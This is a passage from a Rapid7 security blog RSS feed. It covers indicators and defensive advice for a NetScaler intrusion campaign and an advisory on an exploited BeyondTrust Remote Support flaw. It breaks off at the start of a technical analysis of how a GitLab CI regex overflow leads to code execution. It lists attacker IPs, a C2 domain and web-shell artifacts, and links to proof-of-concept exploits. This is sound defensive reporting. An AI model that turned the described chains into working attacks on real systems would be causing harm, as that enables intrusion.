copy</span></p></td></tr></tbody></table><p style="text-align: center;direction: ltr;"><span style='color:rgb(102, 102, 102);font-size: undefined;'><em>Table 2: Malicious files and filesystem paths</em></span></p><p></p><p></p><table><colgroup data-width='500'><col style="width:66.66666666666666%"/><col style="width:33.33333333333333%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>SHA-256</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Filename</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>6774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1.sh</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>17447d.sh</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>56a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>2.sh / r.sh</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>8e8b9532ce40eacfe1b4cf2b11241878b70b910aabd90b453b1460df19b51a4d</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>scanner-freebsd-amd64</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>eaf0086237879bbaac00a5874c0e2ff84deede1ba10e6b706e2288fd3a31cdde</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>vc</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>ffe052fc50271e7739d458b155df790438776032bfd125b974735e1dd9c0b138</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>nsvmd</span></p></td></tr></tbody></table><p style="text-align: center;direction: ltr;"><span style='color:rgb(102, 102, 102);font-size: undefined;'><em>Table 3: SHA-256 file hashes </em></span></p><p></p><table><colgroup data-width='500'><col style="width:44.5%"/><col style="width:55.50000000000001%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Indicator</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Notes</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>v5v.in</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>C2 domain used by nsvmd</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>209.74.64.192</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>C2 used by nsvmd</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>192.159.99.139</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>.slap C2, relay, reverse-agent and loot-upload infrastructure</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>213.209.159.55</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stage server used to deliver /v, 1.sh/17447d.sh, and collect staged data</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>179.60.146.241</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>IP serving 1.sh</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>45.92.1.17</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>stage/loot infrastructure on port 30444</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>62.133.62.80</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>46.151.182.18</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>132.243.166.140</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>199.233.217.13</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>31.56.197.72</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>64.94.85.67</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>130.94.20.222</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>173.231.39.244</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr></tbody></table><p style="text-align: center;direction: ltr;"><span style='color:rgb(102, 102, 102);font-size: undefined;'><em>Table 4: Network indicators of compromise</em></span></p><h2 style="direction: ltr;">Rapid7 customers</h2><p style="direction: ltr;"><span style='font-size: undefined;'>YARA rules and more IoCs are available in Rapid7’s Intelligence Hub along with ongoing intelligence on the latest campaigns.</span></p><h2 style="direction: ltr;">Defensive recommendations</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Patch NetScaler appliances to the applicable CVE-2026-88779 and CVE-2026-88771 fixed builds and verify the earlier CTX697096 fixes.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Treat Internet-facing appliances as potentially compromised if they were vulnerable during the campaign window.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Collect volatile evidence before rebooting or rebuilding when compromise is suspected.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Inspect both nodes of every HA pair.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Hunt for the .slap, .relay and .nsvm paths.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Hunt for setuid /bin/sh, unauthorized Apache PHP handlers and CSS-looking aliases.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Search for nsaaad crashes, Pitboss reboots and ns_monuploadd_err.pl execution records.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Rotate all credentials and keys exposed through /nsconfig, including LDAP/RADIUS credentials and encryption-related material.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Review outbound traffic for the listed infrastructure and internal scanning from NetScaler source addresses.</span></p></li></ul><h2 style="direction: ltr;">Conclusion</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This incident demonstrates how a NetScaler compromise can evolve from a pre-authentication injection into a persistent appliance-resident intrusion platform. The attacker combined web shells, setuid privilege persistence, outbound command execution, internal TCP tunnelling, HA manipulation, environment reconnaissance and automated configuration exfiltration.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The most significant new findings are the observed chaining of CVE-2026-88779 and CVE-2026-88771 and the dedicated reconnaissance workflow. Rather than using the ADC only as a foothold, the operator used it as a privileged vantage point to map internal networks, identity services, management infrastructure and virtualization systems. This provides defenders with additional high-value hunting opportunities and shows why patching alone is insufficient after an Internet-facing NetScaler has been exposed to active exploitation.</span></p><h2 style="direction: ltr;">Additional resources</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://www.cve.org/CVERecord?id=CVE-2026-88771"><span style='font-size: undefined;'>https://www.cve.org/CVERecord?id=CVE-2026-88771</span></a></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://www.cve.org/CVERecord?id=CVE-2026-88779"><span style='font-size: undefined;'>https://www.cve.org/CVERecord?id=CVE-2026-88779</span></a></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/"><span style='font-size: undefined;'>https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/</span></a></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/"><span style='font-size: undefined;'>https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/</span></a></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway"><span style='font-size: undefined;'>https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway</span></a></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/"><span style='font-size: undefined;'>https://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/</span></a></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/ra-netscaler-intrusions-chaining-cve-2026-88771-and-cve-2026-88779</link>
      <guid isPermaLink="false">blt2ceccfca9edb1fab</guid>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Rapid7 Analysis]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category><dc:creator><![CDATA[Davide Massini]]></dc:creator>
      <pubDate>Mon, 19 Oct 2026 15:11:57 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
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      <title><![CDATA[CVE-2026-102764: Critical BeyondTrust Remote Support Authentication Bypass Exploited in the Wild]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 15, 2026, BeyondTrust </span><a href="https://www.beyondtrust.com/trust-center/security-advisories/bt26-05"><span style='font-size: undefined;'>disclosed</span></a><span style='font-size: undefined;'> a critical authentication bypass in </span><a href="https://docs.beyondtrust.com/rs/docs/on-prem-security"><span style='font-size: undefined;'>Remote Support (RS)</span></a><span style='font-size: undefined;'>, its platform for remotely troubleshooting and administering endpoints. Tracked as </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-102764/"><span style='font-size: undefined;'>CVE-2026-102764</span></a><span style='font-size: undefined;'> and assigned a CVSSv4 score of </span><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>9.3</span></a><span style='font-size: undefined;'>, the vulnerability allows unauthenticated remote attackers to perform file operations on an affected appliance without user interaction. Versions </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.2.3</span><span style='font-size: undefined;'> and earlier are affected unless the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>BT26-05-RS</span><span style='font-size: undefined;'> patch has been applied.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>BeyondTrust has confirmed that exploitation in the wild has already occurred prior to disclosure. Its </span><a href="https://www.beyondtrust.com/blog/entry/bt26-05"><span style='font-size: undefined;'>October 16 report</span></a><span style='font-size: undefined;'> dates the two known Remote Support compromises to August 29, 2026: one BeyondTrust-hosted instance and one self-hosted appliance. BeyondTrust discovered and contained the hosted compromise on September 28; Mandiant </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust"><span style='font-size: undefined;'>shared</span></a><span style='font-size: undefined;'> corroborating findings from the self-hosted investigation on September 30.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On October 16, 2026, CVE-2026-102764 was </span><a href="https://www.cisa.gov/news-events/alerts/2026/10/16/cisa-urges-patching-critical-vulnerability-beyondtrust-remote-support"><span style='font-size: undefined;'>added</span></a><span style='font-size: undefined;'> to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. CISA's </span><a href="https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"><span style='font-size: undefined;'>official KEV feed</span></a><span style='font-size: undefined;'> lists an October 19, 2026 due date and marks forensic triage as required. Rapid7 recommends remediating affected appliances on an emergency basis and investigating RS appliances for prior compromise.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>BeyondTrust's remote access products have previously been targeted earlier this year. Rapid7 </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-1731-critical-unauthenticated-remote-code-execution-rce-beyondtrust-remote-support-rs-privileged-remote-access-pra/"><span style='font-size: undefined;'>covered</span></a><span style='font-size: undefined;'> </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-1731/"><span style='font-size: undefined;'>CVE-2026-1731</span></a><span style='font-size: undefined;'>, which was added to KEV in February 2026.</span></p><h2 style="direction: ltr;">Technical overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>According to the vendor's CVE record, internal Remote Support components inadequately validate the origin of incoming messages, permitting file operations on the appliance. The flaw is classified as authentication bypass by spoofing (</span><a href="https://cwe.mitre.org/data/definitions/290.html"><span style='font-size: undefined;'>CWE-290</span></a><span style='font-size: undefined;'>). BeyondTrust is </span><a href="https://www.beyondtrust.com/blog/entry/bt26-05"><span style='font-size: undefined;'>withholding exploitation details</span></a><span style='font-size: undefined;'> while customers apply patches.</span></p><p style="direction: ltr;"><a href="https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust"><span style='font-size: undefined;'>Mandiant's investigation</span></a><span style='font-size: undefined;'> describes arbitrary file uploads, deployment of the SAWFLY PHP web shell and BARECLAW tunneler, root escalation, attempted credential-vault extraction, persistence, and log deletion. Mandiant attributes the activity to ARMORY CASTLE, a suspected PRC-nexus espionage actor formerly tracked as UNC5221.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On October 30, 2026, Rapid Intelligence published a </span><a href="https://www.rapid7.com/blog/post/ra-rapid7-analysis-unauthenticated-file-upload-to-rce-in-beyondtrust-remote-support-cve-2026-102764/"><span style='font-size: undefined;'>technical analysis</span></a><span style='font-size: undefined;'> demonstrating unauthenticated file upload leading to remote code execution as the site user. A </span><a href="https://github.com/rapid7/metasploit-framework/pull/22083"><span style='font-size: undefined;'>Metasploit exploit module</span></a><span style='font-size: undefined;'> is also available.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A vendor-provided patch is available. Rapid7 strongly recommends that organizations running affected self-hosted Remote Support appliances apply it on an emergency basis, outside of normal patching cycles.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Per </span><a href="https://www.beyondtrust.com/trust-center/security-advisories/bt26-05"><span style='font-size: undefined;'>BeyondTrust's advisory</span></a><span style='font-size: undefined;'>:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Affected versions:</strong></span><span style='font-size: undefined;'> Remote Support </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.2.3</span><span style='font-size: undefined;'> and earlier, unless the patch has been applied.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Remediation:</strong></span><span style='font-size: undefined;'> Apply the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>BT26-05-RS</span><span style='font-size: undefined;'> patch, available for versions </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.3.1</span><span style='font-size: undefined;'> through to</span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.2.3</span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Older deployments:</strong></span><span style='font-size: undefined;'> Instances older than </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.3.1</span><span style='font-size: undefined;'> require an upgrade to a patch-supported version followed by application of the patch.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Self-hosted deployments:</strong></span><span style='font-size: undefined;'> Confirm installation through the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/appliance</span><span style='font-size: undefined;'> interface. Apply the patch manually if automatic updates are not enabled.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>SaaS deployments:</strong></span><span style='font-size: undefined;'> BeyondTrust states that all Remote Support SaaS customers were patched as of October 9, 2026.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Note: BeyondTrust also </span><a href="https://www.beyondtrust.com/blog/entry/bt26-05"><span style='font-size: undefined;'>recommends immediate patching of self-hosted Privileged Remote Access (PRA)</span></a><span style='font-size: undefined;'> because it shares the affected code. The vendor has not identified a way to exploit this vulnerability in PRA. PRA customers should confirm the appropriate patch with BeyondTrust Support.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 strongly recommends investigating for compromise even after patching. </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust"><span style='font-size: undefined;'>Mandiant recommends</span></a><span style='font-size: undefined;'> preserving evidence before changes or reboots, isolating suspected appliances, and rebuilding from a clean, fully patched image if compromise is confirmed or cannot be ruled out. Organizations should rotate stored or brokered credentials after patching or rebuilding, and review administrative changes and downstream sessions. Credential and configuration reviews also apply to SaaS customers. Patching does not remove persistence.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to the vendor's </span><a href="https://www.beyondtrust.com/trust-center/security-advisories/bt26-05"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Artifacts, evidence sources, and IOCs</span></h3><p style="direction: ltr;"><a href="https://www.beyondtrust.com/blog/entry/bt26-05"><span style='font-size: undefined;'>BeyondTrust recommends</span></a><span style='font-size: undefined;'> hunting for the following behaviors:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Unrecognized administrative sessions from residential broadband or commercial VPN addresses.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Unexpected scripts in web directories or shells spawned by web service accounts.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Unauthorized account, permission, or session-policy changes, particularly to Jump Items or Teams.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Gaps in log forwarding bounded by a single session.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor cautions that infrastructure and tooling vary between victims; an absence of known indicators does not establish that an appliance is uncompromised. BeyondTrust customers can request an additional hunting package through its </span><a href="https://trustportal.beyondtrust.com/"><span style='font-size: undefined;'>trust portal</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations should forward appliance events to an external SIEM using BeyondTrust's </span><a href="https://docs.beyondtrust.com/rs/docs/syslog"><span style='font-size: undefined;'>syslog guidance</span></a><span style='font-size: undefined;'> and preserve existing external logs. Enabling forwarding now cannot recover previously deleted evidence.</span></p><p style="direction: ltr;"><a href="https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust"><span style='font-size: undefined;'>Mandiant identified evidence</span></a><span style='font-size: undefined;'> in access, syslog, messages, thin-scc, brain, and SSL logs. Customers should coordinate host-level log and artifact inspection with BeyondTrust Support; they cannot audit the appliance host filesystem.</span></p><p style="direction: ltr;"><a href="https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust"><span style='font-size: undefined;'>Mandiant's report</span></a><span style='font-size: undefined;'> includes the file indicators below and separate YARA rules:</span></p><p></p><table><colgroup data-width='750'><col style="width:23.717948717948715%"/><col style="width:27.884615384615387%"/><col style="width:48.3974358974359%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Filename</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>SHA-256</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>mangoapi.php</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>SAWFLY web shell</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>dc14e215269a93fdbc4c1a80b984c23faf7af0911c6dbb85309796a6f2ae95fb</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>ingredi_ws</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>BARECLAW tunneler</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>1f19b9a27d79c11bda00a1e8faf74a7fdd683d38ccef1b60df2fd0307e3aa462</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Additional artifacts include </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/usr/bin/dbus-authd</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/home/bomgar/sbin/post_boot.d/zz-root-persist</span><span style='font-size: undefined;'>, and an unauthorized </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/uidchanarge</span><span style='font-size: undefined;'> route in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/ns/config/haproxy.conf</span><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-102764 with an authenticated vulnerability check expected to be available in the October 20 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 19, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li><li><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 2, 2026</strong></span><span style='font-size: undefined;'>: Added references to the Rapid7 technical analysis and Metasploit exploit module.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-102764-critical-beyondtrust-remote-support-authentication-bypass-exploited-in-the-wild</link>
      <guid isPermaLink="false">blte84c02672c59d878</guid>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Mon, 19 Oct 2026 14:34:04 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[Rapid7 Analysis: GitLab CI/CD Regex Integer Overflow (CVE-2026-97229)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 12, 2026, GitLab released </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.4.2</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3.5</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.2.8</span></span><span style='font-size: undefined;'> to fix </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-97229"><span style='font-size: undefined;'>CVE-2026-97229</span></a><span style='font-size: undefined;'>, an integer overflow in its CI/CD regular-expression handling. The issue was reported through HackerOne by </span><a href="https://x.com/joaxcar"><span style='font-size: undefined;'>joaxcar</span></a><span style='font-size: undefined;'>. GitLab assigned it a CVSS score of 10.0 and described possible code execution by an unauthenticated user.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/#cve-2026-97229---integer-overflow-issue-in-cicd-regular-expression-compiler-impacts-gitlab-ceee"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'> states that CVE-2026-97229 affects GitLab CE and EE from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.2</span></span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.2.8</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3</span></span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3.5</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.4</span></span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.4.2</span></span><span style='font-size: undefined;'>. GitLab says all deployment types are affected unless stated otherwise. GitLab.com was patched before disclosure, and Dedicated customers do not need to act.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 researchers developed an </span><a href="https://github.com/jburgess-r7/CVE-2026-97229-PoC"><span style='font-size: undefined;'>end-to-end PoC</span></a><span style='font-size: undefined;'> that reliably runs arbitrary commands as GitLab's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>git</span></span><span style='font-size: undefined;'> operating-system account on the official Linux amd64 </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>gitlab/gitlab-ce:19.4.1-ce.0</span></span><span style='font-size: undefined;'> image with ASLR enabled. GitLab's release notes do not report exploitation in the wild occurring at the time of disclosure.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>This analysis covers one end-to-end route. It begins after an attacker has pushed both the malicious CI configuration and a specially named path to a public project; only the final CI lint request is unauthenticated. That prerequisite conflicts with GitLab's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>PR:N</span></span><span style='font-size: undefined;'> rating, and because the underlying report remains private, we do not yet know how the reported attack avoids it.</span></p><h2 style="direction: ltr;">Technical analysis</h2><p style="direction: ltr;"><span style='font-size: undefined;'>At a high level, the chain crosses from attacker-controlled repository input into Onigmo pcode and finally native code execution.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5babad0f96abf514/6ad22875f822dc00cd804aa0/figure1.jpg" alt="Figure 1" caption="Figure 1: From repository inputs to command execution." height="897" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Figure 1" width="837" max-width="837" max-height="897" style="max-width: 837px; width: 837px; max-height: 897px; height: 897px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5babad0f96abf514/6ad22875f822dc00cd804aa0/figure1.jpg" data-sys-asset-uid="blt5babad0f96abf514" data-sys-asset-filename="figure1.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 1: From repository inputs to command execution." data-sys-asset-alt="Figure 1" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: From repository inputs to command execution.</figcaption></div></figure><p><span style='font-size: undefined;'></span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>CI rules pass repository paths to Onigmo</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>GitLab supports regular-expression matching over repository paths in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>rules:exists:regexp</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>rules:changes:regexp</span></span><span style='font-size: undefined;'>. One way to evaluate such an expression during static configuration processing is to place it on a conditional include:</span></p><p></p><pre language="ruby">include:
  - local: /benign.yml
    rules:
      - exists:
          regexp: "ATTACKER_PATTERN"</pre><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RegexpMatcher</span></span><span style='font-size: undefined;'> expands the expression, compiles it with Ruby's native regular-expression engine, and tests it against paths from the selected Git worktree:</span></p><p></p><pre language="ruby"># Exists#regexp_match?()
def regexp_match?(context)
  matcher = regexp_matcher(context)  matcher.validate_pattern_length! # [0] Source-length check

  Gitlab::SafeRequestStore.fetch(regexp_comparison_key(context, matcher.expanded_pattern)) do
    # ... top-level optimisation omitted
    matcher.match?(worktree_paths(context, false)) # [1] Repository paths
  end
end

# RegexpMatcher#match?()
def match?(paths)
  # ... path-count fail-open handling omitted
  pattern = compile_pattern # [2] Compile regexp
  deadline = current_monotonic_time + REGEXP_TOTAL_TIMEOUT_SECONDS

  paths.any? do |path|
    # ... total-budget check omitted
    pattern.match?(path) # [3] Native match
    # ... per-match timeout handling omitted
  end
